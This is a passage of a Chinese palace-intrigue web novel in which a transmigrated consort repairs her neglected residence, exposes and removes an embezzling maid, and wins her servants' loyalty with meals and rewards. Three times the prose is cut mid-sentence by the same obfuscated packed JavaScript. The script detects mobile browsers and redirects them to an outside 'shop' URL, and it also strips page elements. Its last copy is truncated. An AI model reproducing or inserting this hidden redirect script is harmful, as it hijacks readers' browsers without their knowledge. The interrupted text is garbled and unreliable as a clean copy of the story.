“如今夏日也罢了,若到了冬日,京中苦寒,本宫岂不是要冻死埋了好做开春的花泥?且这都是后话,若是此时金贵人不满启祥宫的景致,要你们修缮换来,你们也这般推三阻四吗?又或者金贵人说自己宫中造办有缺,掉下一块瓦片伤了人,又当如何呢?本宫怕杜公公和慎刑司的人不熟,丢了面子又丢了里子呢!” 杜公公此时头都恨不得钻进地里,嘴里除了娘娘恕罪也没什么别的话了。沈宓递给了福喜一个眼神,她费了老大劲才把杜公公从地上扶了起来。 “所以说事急从权,本宫也不是故意刁难你们,只是让杜公公依照静澜轩的旧样修缮一番罢了,怎么能算大兴土木?这宫中的事儿呢,从来都是顺了哥意就逆了嫂意,不过公公在宫中浸淫许久,也很能干,这点儿小事怕是游刃有余吧?” 杜公公闻言面如土色,当然不敢再还嘴,只一个劲儿地表忠心、求饶。 沈宓见火候差不多了,微微一笑,这才递给了杜公公台阶:“杜公公且放宽心,本宫既然想让你帮忙,又怎能置杜公公于险境,这不是搬起石头砸自己的脚吗?你放心吧,本宫早就派人去到了行宫,皇上、贵妃、德妃处都递了消息,你且先派人修缮着正殿,其余的自有本宫担着,绝落不到杜公公的头上。” 说着,她又让福喜掏出了一个大红封。 杜公公见状,面容呆愣了几瞬,尔后头磕得咚咚响,一个劲儿地赔罪,说自己是小人之心度君子之腹,羞得老脸都没地方了。 先把人的路堵死,再放开一个口子,围剿人心大约如此。 回去的路上,福喜的眼睛像是黏在了沈宓身上,整个亮晶晶,过了会儿又红彤彤的,让人想别过眼都不行。 沈宓有些无奈地对上福喜的眼神,“你这样瞧着本宫做什么?” 福喜声音有些哽咽,却又透着欢喜,“以前厉害的娘娘终于又回来了,奴婢,奴婢是高兴呢。” 沈宓闻言,顿住了神色,想了想原身以前泼辣直爽,又有皇帝的宠爱,活得像个小太阳似的,这些奴才别说为难她,巴结她都怕找不到门路呢。 只可惜了,长了颗恋爱脑,绝症,后来才没得救! 现在她穿过来了,于原身,于自己,都算是一场新生吧。 第二日一大早,杜公公就带着一帮能工巧匠来到了静澜轩,不想刚进门就闻到了一股扑鼻子的腥臭。 众人一看,正殿前的池子里已经满是青黑,还有各色杂草,宫殿的门窗油漆以及墙壁上的砖石斑驳脱落,颜色各异,像人遍体生癣,真真是破败荒凉。 这下杜公公原本还有些凄惶的心算是彻底定下来了,哪怕德妃问起他也有话说,晴嫔到底得宠多年,而且是嫔位娘娘,住的却比冷宫都不如。 当今皇帝推行仁政,严禁宫中贪污腐败、吃拿卡要、拜高踩低之风。他这算是帮着遮掩了,要不然皇帝见了心里能高兴? 退一万步讲,还有贵妃娘娘在呢,这后宫也不是德妃娘娘一个人的。 杜公公把自己哄好后,说话那叫一个热情妥帖,什么工期花费之事都是好好好是是是。 静澜轩破是破了些,但就像沈宓设想的那样,修缮起来并不是特别难,除了后花园那里需要搭座凉亭,一切按照旧例还原就好。 “娘娘,静澜轩若只是修缮,不大动土木,一通下来一千两是尽够了。” 沈宓闻言有些诧异,这和她让常盛打听来的价格差了整整五百两。 当然她面上不显,装修这事儿油水可太多了,常盛没有骗她,杜公公更没有骗她,可杜公公难得实诚一次,她也就不必客气。 “暑热做工艰难,杜公公和造办处的人也是辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914501|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本宫再添二百两,算是一点儿心意,若是后面做得好了,还有赏银。” 这下换杜公公诧异了,这晴妃自从被贬晴嫔以来,过得什么日子他也略有耳闻,没想到如今还能和以前一样大方。 杜公公心里半是狐疑半是庆幸,这晴嫔到底是曾经的宠妃,有些底蕴,背后不知道还有哪些手段呢。 他自然得先推辞一番,见推辞不过了,便召集众工匠大肆宣扬沈宓的善心善举,众工匠眼见着脸上发红,眼中有光,干劲十足,毕竟谁能和钱过不去呢? 只是福喜难免又要说上两句:“娘娘,咱们的私房不多了,杜公公既然有省钱之法,咱们何不顺水推舟呢?” 沈宓哪里想当冤大头,可这房子是自己住啊,而且还不知道住几年,若是价钱压得太低了,谁知道这些匠人们会使什么坏? 前世她装修别墅时可是和工人们玩尽了心眼子,就这,最后还是有些不圆满的地方。 再说了,杜公公眼下是没办法才会认栽,要是没有油水和甜头拿,那么等皇上回銮后,他缓过劲儿来,还不知道怎么折腾。 既然杜公公让了一步,那么她也不妨大方些,卖他个好。 宫中个个是人精,处处人情世故,这二百两还是不省了。 “福喜啊,你要知道这银钱不是省出来的,而是赚出来的。”沈宓咬牙故作高深地扯大道理,其实心中在滴血。 她必须努力往上爬,尽早摘掉“晴嫔—清贫”这个称号,要不然真的要穷死了。 古代的油漆多以天然材料为主,散味快,且毒性也低。故而,沈宓决定先修整常住的正殿,她暂居东配殿,其他殿阁除了下人们住的地方一起动工。 两个月后,她正好搬进正殿,下人们则搬进东配殿,匠人们再修整下人房。这样一来,不常用的东配殿就物尽其用了。 至于两个花园和那个水池,夏日又不好再移植花草之类的,多是清理荒草杂物,也没多少活儿,只要多派几个人,最多十日也就差不多了。 杜公公使劲儿地拍了拍胸脯,说就这点儿活,保证能在皇上回銮前办的妥妥当当,把静澜轩修出一个神仙去处来。 沈宓满意地点了点头,刚吃了口茶,福灵就拖着“病体”神色不明地进来了。 她之前也算晴妃跟前的红人,杜公公当然认得,很识趣地带着自己的徒弟退下,殿内便只剩下贴身服侍的几人。 福灵先觑了眼沈宓,见她神色如常,稍稍松了口气。她自是乐得见沈宓作死,但沈宓这几天也作得太厉害了,就连静澜轩都敢大兴土木。 可接连几天来,启祥宫金贵人那边愣是风平浪静,线人处也断了消息,她心中难免恐慌,这才回过味儿来。 沈宓如今再不济也当了多年的宠妃,莫不是还有些她不知道的后招儿? 再者,这三年来,她见沈宓逐渐疯癫,静澜轩群龙无首,很是懈怠,有些脏事做得很不干净,要是不小心就被顺藤摸瓜地查到了呢? “娘娘,您怎么突然想起修缮静澜轩来了?奴婢这几日病着,也没个人来说一声,还是听到动静便来问问。” 沈宓闻言,心底嗤笑,福灵在静澜轩当了三年的猴大王,养刁了胃口,眼下探口风还带着些趾高气扬的味儿,她皮笑肉不笑地摇了摇团扇,“知道你最近病着,自是该好生修养,有些事让福喜他们做了就是。” 听话听音,福灵心底一沉,不由得对上了沈宓的视线,她曾亲眼看着那双水光潋滟、春风得意的桃花眼渐渐变得空洞灰蒙,失去了光彩生机。 而此刻,那双眼看似平静无波,却有种让她置身深渊的错觉。 不,她不能再装病下去了! 福灵仰起笑脸,很是真诚道:“娘娘这么说就折煞奴婢了,眼下静澜轩要动工,自然到处都缺不了人。奴婢是病着,到底也牵挂着娘娘和宫里的事。等吃完这两三日的药,奴婢便回娘娘身边伺候吧?” 沈宓上下打量了福灵一眼,眼皮轻垂,笑了笑,“本宫就知道你是个忠心能干的,自然会重用你。故而你更该好好养着,别心急落下病根才是。若你实在闲不住,明日来殿中陪本宫说说话也是好的。” 福灵听了这话,心稍稍安定了些,“就知道娘娘最疼奴婢了,奴婢一定好好养着,尽早回来服侍娘娘。” 看着福灵的背影,沈宓莫名地挑了下唇角,此时粗使太监小松子正带着匠人们来搬正殿里的东西,沈宓状似无意地瞥了他一眼,小松子很快低下头,干活去了。 7. 第七顿饭 杜公公选的匠人果然手脚麻利,仅用了三日就把静澜池和前后两个花园收拾得差不多了,杂草除尽,污水排干,原先葱茏秀美的花草树木也得以露出真容,尤其是后花园中有几株牡丹长势喜人,看样子明年春天定能开出艳冠群芳的花儿来。 正殿的活儿也在有条不紊地进行着,整个静澜轩都透着一股子蒸蒸日上的生机来。 启祥宫那边也传来消息,金贵人的胎保住了。福灵早早从线人那里得了消息,庆幸自己机灵,那天和沈宓表了忠心,眼下“养”好了病,她满心欢喜地往正殿赶,却不料迎面就对上了金贵人的贴身侍女明珠。 明珠视线凌厉,冷冷地刮在她的脸上,福灵头皮一紧,顿感不妙,她不由得望向正站在月台上的沈宓,只见她一脸愤懑,当下心中才稍稍稳住了些。 “奴婢见过娘娘,不知今日这是?” 沈宓瞪了眼明珠,“今早金贵人身边的明珠和本宫说咱们宫中有人和德妃勾结要害她的孩子,要带人去启祥宫问话。真是荒唐,福灵,你是本宫身边的老人了,怎么会做这样的事!” 福灵闻言,身影一晃,差点儿没站住脚,她当下扑通一声跪在地上:“娘娘,奴婢冤枉啊!奴婢对娘娘忠心耿耿、绝无二心,平日里只忙活着咱们静澜轩的活计,又怎会受德妃娘娘蛊惑去害金贵人呢?反而是金贵人仗着怀有身孕屡屡欺辱咱们静澜轩,想置咱们静澜轩于死地,如今还想拿奴婢去,真是欺人太甚!” “大胆贱婢,你是什么东西,竟敢直呼我们家贵人的名讳?晴嫔娘娘平日里就是这样教导你的?”明珠闻言,怒骂了回去。 沈宓也怒喝一声,“她是贱婢,那你又是什么?这是在指桑骂槐,暗讽本宫呢?明珠,你好大的胆子!” 明珠浑然不怕,极为敷衍地朝沈宓行了个礼,“娘娘恕罪,奴婢并无此意。只是贵人有令,无论如何也要查清楚暗害龙胎之人。这福灵不知尊卑,对着我家贵人满嘴污言秽语,看来定是早心存不满,实在可疑,奴婢今日势必要带走她,还请娘娘行个方便!” 沈宓怒极反笑:“若本宫不肯呢?” 明珠冷冷地瞥了沈宓一眼:“那就恕奴婢得罪了。”说完,她一挥手,就见八个身强力壮的太监走上前来,三两下就把福灵制住了。 福灵大骇,扯着嗓子对着沈宓喊:“娘娘救命,奴婢是冤枉的!奴婢对您忠心耿耿,从无二心,金贵人这是怀恨在心,要剪除您的羽翼,对您不利啊!您一定要救救奴婢,否则咱们静澜轩怕是永无宁日了!” 沈宓心底冷笑一声,这福灵还是有点儿小聪明,眼看事情要败露了,这是要拉自己下水,暗讽自己怕了金贵人,要把自己推出去顶罪。 但她何尝不知道唇亡齿寒的道理?自打原身从妃位贬成嫔幽居静澜轩以来,福灵的确和他们一样,一直服侍在侧,这在后宫中也算是独一份的忠仆了。 那么要想惩治福灵这个叛徒,又不能寒了其他人的心,这个恶人自然不能她来当。 金贵人就正合适了,毕竟谋害龙胎的大罪,别说是一个小小的宫女,就是德妃来了,恐怕也得吃挂落。 她可清清楚楚地记得,当年原身是为了什么才落得了今天这个下场。 “娘娘,福灵姐姐她······”福喜第一个急出了声。 沈宓面色铁青,斜刺了明珠一眼:“琼霄,你当真要以下犯上,强自拉走本宫的贴身大宫女?” 明珠朝沈宓翻了个白眼,理所当然地说道:“恕奴婢得罪了,今日必得带走福灵,还请娘娘行个方便,若是当真冤枉了福灵姑娘,那奴婢负荆请罪,如数偿还就是。” “好,你好得很!今日本宫倒要看看你有多大的能耐!”沈宓急走两步,拦在了福灵的身前,一副拼命的架势,静澜轩的其他人自然也围拢了过来。 那八名太监当然丝毫不客气,福喜他们一方面要护着沈宓不被伤着,又要拉着福灵不被人带走,一时间双拳难敌四手,自然是眼睁睁地看着福灵被连拖带拽给拿下了。 演戏要演全套,沈宓当然还要顽抗,这时候明珠一挥手,高声喊道:“这贱婢既然勾连贼人害我们家小主,想必屋子里定有与贼人互通的证据,你们几个给我搜宫!” “是!”另有八个凶巴巴的粗使婆子得了令便往静澜轩的各殿以及宫人们住的后罩房气势汹汹而去。 “你,明珠,简直是要造反了!”沈宓怒不可遏地厉喝道。 明珠根本不为所动,轻蔑地瞥了她一眼,“娘娘,您在宫中多年,想必很明白皇上有多看重皇嗣,如果我们家小主腹中的龙胎不保,别说是您,就是德妃娘娘也承担不住天子之怒!” 静澜轩中的人陷入了两难境地,不救福灵,他们良心难安,可若是救福灵,少不得要连累娘娘。 好在明珠带来的婆子眼疾手快,不一会儿就从福灵的屋子里搜出了东西来——一匣子根本不在宫女份例中的金银珠宝,底下还有五百两银票。 沈宓脸色顿时煞白,身体摇摇晃晃,眼一黑就晕了过去。 静澜轩中顿时乱成一团,“娘娘······” 醒来的时候,夜色已然昏沉。 沈宓懒洋洋地支棱起眼皮,揉了揉额角,没想到装着装着竟然睡着了,还睡得特香甜。 毕竟卧榻之侧,除了一个奸细,心情当然好了。 不好的是,还得接着装,演戏可是很累的。沈宓虚弱地嘤咛了一声,床帘便被拉开,福喜眼镜红红地看过来,“娘娘,你醒了?” 沈宓恹恹地点了点头,福喜咬了咬唇,“娘娘,你还好吗?” 沈宓闭上眼睛,无声地流下了两行泪,“福灵她······” 福喜见状,先是瞪大了眼睛,随即紧咬着唇,气得鼓起了两腮,大声喝道:“我的傻小姐,你可醒醒吧!那是个什么脏污烂蹄子?死了都犹嫌不足,你怎能还挂心她!” 沈宓呆愣地看着福喜,眼泪都忘了流,她茫然地环顾四周,发现大伙儿脸上的惊讶并不比她少。 福喜是原身从沈家带来的家生婢子,那是嫡系中的嫡系,但一直是个老实的。后来福灵被拨到原身宫里伺候,福灵谗言媚语地哄了原身开心,挤掉福喜成了原身身边第一的大宫女,且平时没少给福喜气受。就这,福喜也好声好气地让着福灵,哄着福灵,两人一时间就像对亲生姐妹花似的。 没想到第一时间辣手摧花的反而是福喜,她还反过头来教训自己?沈宓一时间是有些怵头了,她害怕自己再演下去,这虎丫头能直接一句话怼她脸上,骂她眼瞎心盲。 “都是本宫的错,是本宫识人不清,倒差点儿连累了大家伙儿······”沈宓言语悲切,似有口难言,忙用袖子掩面遮住脸上的情绪。其实心里贼舒坦,这样倒省去她忍着恶心做戏,而经此一事,她也看出来,福喜到底是嫡系中的嫡系,眼睛里只有她这个主子。 “娘娘怎的还自责起来?是娘娘平日里对她还不好吗?吃里扒外的东西,竟然背叛娘娘,良心都喂到狗肚子里去了!”这时福清走过来站在了床边的另一边,脸上满是愤恨。 沈宓余光打量了下福清,原身身边的二等宫女,聪明能干,性格伶俐直爽,因而被福灵深深忌惮,二人的矛盾很尖锐。但福灵毕竟比她高一等,她又不是肯受委屈的主儿,平时受福灵的磋磨自然比福喜要多得多。 “奴婢原以为她这三年来对娘娘不离不弃、忠心耿耿,半个月前又从池中救了娘娘性命。为了静澜轩的安宁,奴婢才忍着她,让着她,没想到她竟是这样的歹毒心肠!真是可恨!” 这时粗使宫女柳儿也红着眼眶,紧握着拳头,愤愤道:“平日里欺负我们就算了,娘娘对她那样好,黑心烂肝的东西,不得好死!” 常盛、常恩和常九三位太监则面色冷漠,一言不发。 只有小松子煞有介事地说道:“奴才原本也是不相信的。那日娘娘让奴才守着静澜轩,不想无意间竟看见病着的福灵姑娘出了宫。奴才心想,这福灵姑娘上午还说自己病得起不来床,怎么一下又生龙活虎地出宫去?奴才一时好奇就跟了上去,还差点儿没跟上呢。就这样,我跟着福灵,只见她先去了尚服局一趟,又绕了好远的路,去了宫中西北角一个人迹罕至的地方,不知道和什么人在密谋些什么。奴才当时害怕极了,不小心发出了声音,差点儿被发觉,就着急忙慌地跑了回来了。”说着,小松子懦懦地抬起头,已经十四岁的年纪了,身材却像个小孩子,脸瘦得皮包骨,一双眼睛大得吓人。 沈宓定定地看着小松子,想起刚来到这个世界时看到他被福灵指使得团团转,脑袋迷糊做错了事急得直哭因此错过了饭点,福灵像逗狗似的扔下一个发霉的窝窝头,他从地上抢起来啃得满嘴黑污······ 一等宫女中,福喜除了忠心别的指望不上,福清和福灵不对付,容易矫枉过正,造成冤案,至于三个太监呢,看着心眼儿多,这些人用不好就会反害自身,让他们觉得自己是个心狠的主子。 小松子和柳儿两人原先就是最底层的粗使宫人,平日里干得是脏活累活,与上面这些宫女太监利益牵扯不大,又不能经常进殿伺候和原身接触。 这样一来,小松子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914502|192506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和柳儿无论是对福灵还是对原身的印象都不如上面那些宫女太监深刻,关系更不亲近。 故而沈宓先策反小松子和柳儿,一个跟踪监视福灵的行踪,一个搜查她屋里的可疑物品,这两人别看长得瘦瘦小小的,活儿干得是真不错。 沈宓又挤出两行泪来,“本宫是真没想到,福灵竟然能干出这样的事!启祥宫那边可传来消息,怕不是误会?” 这时,常盛上前一步,声音冷沉地开了口:“回娘娘,常九早就去慎刑司盯着打探消息了,福灵称那些金银首饰还有银票都是您赏她的,可福喜与福清核对了半天账本,这些东西从未在咱们宫中记过档。至于这些东西是娘娘何时赏的,为何赏的,福灵吞吞吐吐说得不清不楚,福清和福喜也都核对过了,时间和缘由都对不上,可谓是路唇不对马嘴。” 说到最后几个字,常盛已经有些咬牙切齿。常恩和常九也都满脸鄙夷,还忍不住啐了一口。 沈宓心中了然,福灵是有几分小聪明,但这些年没了原身压制,怕是尾巴都要翘到天上去,没少磋磨底下这些人。他们也只是看在原身的情面上不和福灵计较,如今福灵倒台,他们大多数还能保持冷静,已经是很难得了。 不过这出戏火候还不到,毕竟能跟她到现在的宫人此时更注重的是一个“情”字,老谋深算地立威只会让人心惊,作为一手把福灵提拔上来的当事人,此时的她在这些人眼里因为无能而生出的愧疚与羞愤自然更有说服力。 “本宫乏了,你们都退下吧,让本宫一个人静静。” 福喜翻了个白眼儿:“您是该好好静静,给宫里招了个什么人呀这是?” 沈宓被噎了个白脸,这丫头怎么越来越虎了? 还是福清笑着过来打圆场,“哎呀,我的好姐姐。娘娘心里也难受呢,咱们有些话还是过后再说吧。”说着,她便拉着福喜往外走,这丫头还三个不服,五个不忿呢。 常盛刚跨出殿门外,常九就笑嘻嘻地凑上来,“好哥哥,我前个儿得了个壶好酒,知道哥哥好这口儿,不知道哥哥能否赏个脸面?” 常盛还未说话,憨憨的常恩就接过了话茬儿:“真的啊,能带我一个不?” 常九瞪了常恩一眼,常盛却笑道:“既然要喝酒,自然是人多热闹。” 酒过三巡,常九的脸上带了点儿红,他盯着面色如常的常盛,到底是有些委屈地开了口:“说起来,也不怪福喜姑姑不满,娘娘竟然不信咱们,这事儿不交给咱们去做,反而找了小松子和柳儿!明明咱们老早就准备对······” 常盛有一双狭长的丹凤眼,平日里看着机智稳重,但若是拧起眉头来,颇有些凌厉威仪。 “常九,你这酒的确有点儿东西,几杯下肚,人就神智不清了。 常九被常盛深邃肃杀的视线一刺,意识瞬间清醒了不少,他讪笑了两声:“我这酒量哪能和哥哥比,让哥哥见笑了。” 常盛依旧面若寒霜,“既然醉了,那就滚回去歇了。” 常九和常恩连连点头称是,手脚分外麻利地收拾起桌上的残羹冷炙准备往外走。 “福清有句话说得很对,在这宫中,咱们这些人,最要紧的就是忠心。如今咱们好不容易盼着娘娘病好了,娘娘就是我们在宫中唯一的倚仗,娘娘好,我们就好,反之,若是娘娘又似从前般被奸人所害,那我们这一辈子也就到头了。你们两个可明白?” 常盛叫住二人,视线却多停留在常九身上。常九自然明白常盛话中的深意,可他心中所想的又何尝不是和大家伙一样呢? 所以那日娘娘借故憋闷去后花园中散心,无意间遇见小松子并长聊了许久的事儿,他是一个字都不会说出去的。 他更不会说,其实常盛和他早就发现了福灵的异心,一直在收集证据准备动手的事儿······ 室内终于安静下来,常盛隐没在室内的暗影中,举头望着窗外的高悬明月,眼眸中莫名的情绪漆黑深邃,如这茫茫夜空。 小松子和柳儿是宫里最老实的人了,当年就是看娘娘对下人还算好才留下的,自从娘娘失宠后更是谨小慎微的过日子,怎么会突然会防备起福灵,且暗中偷偷抓住了福灵的小辫子呢? 可正因为小松子和柳儿太老实,没什么心机,平日里也没多起眼,这事儿由他们捅出来才会更让众人信服,毕竟兔子急了也会咬人啊。 晴嫔娘娘大病一场后像换了个人,常盛微微挑起唇角,笑意如夜空繁星,明明灭灭的。 他抬手抚上胸口,轻轻摩挲着,哪怕变成鬼呢,他也一定会护她安宁周全! 8. 第八顿饭 顺利地解决了内奸福灵,沈宓顿觉浑身松快,剩下的都是些忠心能干的。如今静澜轩整修,匠人们干得热火朝天,他们自然更觉得日子有奔头,沈宓不用吩咐,静澜轩内的一切都被打理得妥妥当当。 沈宓自然不会觉得这理所应当,自古人心最难猜。 她前世从女明星转行当了女网红,开了自己的工作室,管理着十几个人的小团队,员工们越是忠心,就越要赏罚分明,毕竟用钱买来的劳动力最好用,有了感情的,那就得用心维系了。 除去内奸福灵,一方面是为了解决公司的生存危机,第二当然就是震慑其他员工。毕竟沈宓不能拿命去赌,一个疯癫失宠了三年的老妃子身边还有没有其他定时炸弹。 罚过之后,当然就是厚赏拉拢人心。 这几日静澜轩事忙,凡事没那么多规矩,沈宓正好不用费口舌,便让剩下的七个宫人和自己一起用膳。 起初,这几人还扭扭捏捏,心里有些不自在,但见沈宓待他们如常,心里都十分动容,慢慢承了这份情。 嫔位的膳食规制是每顿膳十道菜,只是民以食为天,这条宫规也就可松可紧。 后宫有权势的,得宠的,想吃多少,膳房都得满足。譬如金贵人如今怀着身孕,膳房每顿饭恨不得把家底都搬过去,沈宓如今是个失宠的老妃子,以前分例被克扣得厉害,十道菜只剩下冷饭馊汤。 然则今时不同往日,自从上次大闹御膳房后,如今每顿饭都是满满当当一大张八仙桌,早就超过十道菜的分例。 原身这个病秧子实在太虚弱了,每顿只能用些好克化的东西,顺便喝点滋补的汤羹,比只麻雀好不了多少。 一起吃饭是亘古不变的生意经,这在一个十几个人左右的小公司里最是有用。吃着喝着笑着说着,人的归属感就这么牢牢地绑在一起了,更何况是一天三顿饭,顿顿在团建啊。 用自己看似金贵却富余的东西奖励员工,不仅收获了大方的好名声,还收获了一群更大方的好员工。 一个月下来,几个宫人对她有没有更忠心沈宓不知道,但原本一个个皮包骨头的难民现在脸上都长肉了,脸上的笑意也越来越多,眼睛里满是勃发的生气,静澜轩终于从一个活死人墓变成了人住的地方。 沈宓很满意,这就是她下定决心整修静澜轩的原因。诚然,她可以借着静澜轩这副鬼样子狠狠咬德妃一口,但同样的,这副鬼样子也会深深地烙印在皇帝心中,那别说得宠了,以后能不能再见天颜都难说。 “娘娘的身子恢复得真不错,同样都是太医院开得药膳,娘娘吃了,便是容光焕发,那金贵人嘛,到现在还窝在宫里出不来门呢。”福清一边细细地为沈宓梳着头,一边喜洋洋地说道。 沈宓脸上笑意盈盈,很是受用地点了点头。福灵走后,福清便自然升为了大宫女,每日就跟打了鸡血似的。前些年她性子直,但活儿干得漂亮,却眼睁睁看着福灵靠一张巧嘴上位,如今没了掣肘,自然事事更加妥帖。 一个繁复华丽的云鬟髻在她巧手翻飞中飘然结成,让沈宓都惊艳了一把。 “福清梳头的技艺岂是那个贱人能比的,要不是当年那个黑心懒肺的多番阻拦,霸着娘娘的头不放,还能轮到她?” 福喜正在为沈宓上妆,她从小是跟着原身长大的,别看平日里一副灰扑扑的样子,但最热衷的就是把自家小姐打扮得漂漂亮亮的,一手化妆手艺是童子功,宫里一些积年的老嬷嬷都惊叹不已,当年德妃还下血本好一顿收买福喜呢。 往日里都是跟在福灵旁边像个提线木偶似的只知道闷头干活儿,如今被福清带的话也多了起来,想明白后提到福灵这个叛徒,她恨不得抓着自家小姐的手骂上三天三夜。 沈宓失笑,“瞧你说的,我这头像是金元宝做的,谁人都想摸一把?” 福喜气得哼了声,“在那个贱人眼里,您可不就是金元宝做的?为了些衣裳首饰,就当了内贼,亏得您平日里对她那样好!” 福清也掩唇笑起来:“所以说她是个眼盲心瞎的,咱们娘娘可是九天仙女下凡,她是没那个福分伺候的。” 话音刚落,福喜落下了眉笔的最后一画,沈宓一怔愣,都忘了闹福喜了、。 怪不得原身能宠冠六宫呢! 黄金比例的巴掌大猫猫脸,一双大亮的开扇桃花眼,内窄外扬,笑时如新月坠眸;静时,如群星落湖,深邃迷离,一颦一笑间,清纯与妩媚翩然游走,勾人心魄。 此时,镜中的晴嫔病气未除,眼尾泪痣一红,病西施的模样便揪得人心都要碎了。 沈宓高兴疯了,她前世顶了一张明艳大美人脸,可最爱这种傲娇又慵懒的猫系美女风,眼下见原身这副顶级皮囊,直觉得这是她穿越以来最好的补偿。 “那是,咱们娘娘这是还在病着,要是病好了,皇上见了肯定走不动路的。” 沈宓佯装怒了,笑着朝福喜扔了把梳子,“嘴油得能炒菜,跟谁学的这般?真是讨打!” 福喜噘着嘴不服气,“奴婢又没有说错,以前皇上来咱们宫的时候,哪次不是······” 福清赶紧捂了福喜的嘴,“得得得,福喜姐姐,我是怕了你了,再说下去,娘娘怕是连我都要罚呢。” 沈宓看着两个笑闹在一起的宫女,差点儿快忘了,其实刚进宫那会儿,福喜也不是个木头桩子,只是福灵上位后,她的笑容就渐渐得少了。 在这寂寂深宫中,能保住一份纯真,真是太不容易。 窗外是早就清理好的荷花池,如今微风送清波,荷叶翠绿,荷花清丽,三两红鱼游戏其间,真是一副盛夏好时光。 沈宓忍不住托住腮,静静观赏着,心中一片安然静好。 “这就是最好的时光了,活在当下。沈宓,谢谢你,我会替你好好赏尽这宫中盛景,你安息吧。” 正殿和其他屋室修缮到了一半,正是用钱的时候,故而沈宓每日会带着福喜、福清、常盛整理库房,理清可以用的财物。 这三年里,静澜轩的宫人们吃不饱穿不暖,更不用说积攒下银钱了。听福喜说,有些买药的钱还是宫人们拿自己月钱凑的。 沈宓闻言大喜,这不正是收买人心的好机会?她当即命福喜把理清的一些贵重的珠宝首饰及这几年亏欠宫人们的俸禄赏赐赏下去,宫廷御赐之物不能私自买卖,但着实好看,是面子,实打实的金银珠宝那就是里子。 这下宫人们面子里子都有了,静澜轩上下自然是一片欢腾。 小松子和柳儿甚至流下了热泪,不住地磕头,话都说不利索了。 沈宓赶紧让福喜和常盛把两人拉起来,“你们这是做什么?这三年来,若没有你们,就没有静澜轩的今天,本宫奖赏你们是主子的本分,哭哭啼啼的,倒显得是本宫的不是了?” 小松子和柳儿闻言,心中百味丛生,越发语无伦次。 沈宓掩唇遮住脸上的神色,丰厚的物质固然让人满足,但精神上的抚慰与激励实在让人着迷。 从前最卑微的的宫人如今都升了二等,宫里的各种活儿大家轮流来,如今又有珍宝钱财拿,这样的地方,在后宫中,谁会不激动呢? 沈宓想起当女明星的时候,资本很少把她当人看,如今穿越到这人踩人的后宫,她无法成为圣母圣母,更没有改变这个时代的能力,唯一能做的就是让这些人日子过得舒服一些。 然而这宫中要想过得舒服,到处都得用钱。 到了夜里,沈宓翻完了第三遍账本,还是没有睡意。 值夜的福喜看得微微皱眉:“娘娘,您别看了,仔细伤了眼睛。左右白日里无事,那时候看也是一样的。” 沈宓叹了口气:“可不是一样嘛,一样的没钱。眼见着天越来越热,要想匠人们尽心干活儿,赏赐上是肯定不能吝啬的。仓库里能当钱财赏赐的东西却不多了,更不说快见底的钱匣子。” “都怪福灵那个贱人!年初娘娘家中已经把三千两银子送进来了,现在不知道被她贪到哪里去,才让娘娘如此为难。” 沈宓本来还想劝福喜冷静,不必为烂污人生气,话到嘴边却突然卡住了,“什么,你说家里给本宫送来多少银子?” 福喜有些不解地看着沈宓,“三千两啊,老爷和夫人日夜为娘娘忧心,生怕娘娘在宫中受委屈,每年都送三千两银子进宫让娘娘打点上下的。” 沈宓觉得头有些晕,忽地想起来,原身的父亲三年前因为治水有功被调任工部做六品主事,三年后,升了正五品郎中,在满是权贵的京城中,仕途并不算耀眼。然则,原身有位善于经商的大哥,如今产业在南方做得风生水起,家中算是颇有资产。在晴妃如日中天的时候,孝敬银子是流水似的送进宫中,后来失宠了,宫中打点不易,又怕惹人眼,便一年只送进来三千两。 这银子当然被福灵牢牢把持在手中,就是皇帝派来的宋嬷嬷也不好过问,还得从她手里支取。 这下沈宓破防了,她可以忍受福灵偷奸耍滑不好好工作,也可以忍受她两面三刀,图谋不轨,但她不能忍受有人骗了自己的巨额资产! “这贱人竟敢如此!那可是六千多两!”她一年的俸禄1500两,三年四千五百两,再加上家里孝敬,这个狗东西真是无法无天啊! “你以前不是也管着本宫的银钱嘛?怎么全让福灵那个贱人拿去了?”沈宓现在都有些迁怒福喜了。 福喜瘪了瘪嘴:“福灵说我耳根子软,容易被人骗,而且她要时常拿银子去做人情铺路、买药,就把钥匙全要过去了。奴婢也没想到她会那样坏啊,坏到骨头里去了!娘娘,您刚才还劝我来着,如今别那么生气吧?” 沈宓扶额,她能不生气嘛?简直气死了! 她让福喜仔细说了下静澜轩里这三年来的开销,实际不足三千两,也就是说福灵至少贪了一半还多,如果有这六千多两,静澜轩上下何至于沦落至此?就这福灵还让其他宫人们凑钱给自己买药,真是个天打雷劈的! 也不知道是不是疯了三年伤了脑子的缘故,原身的记忆就像牙膏似的,不到事儿上挤不出来,她要早知道有这出,就应该先跟福灵要出这些钱来再处置她。 现在倒好,剩下的银钱恐怕已经成了赃款,等皇上和皇后她们来了,要做证据审案的,要都不好要,她恨不得冲进慎刑司亲手把福灵大卸六千多块! 沈宓深吐了几口浊气,强迫自己停止内耗,冷静下来,要不然大晚上的影响睡眠质量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 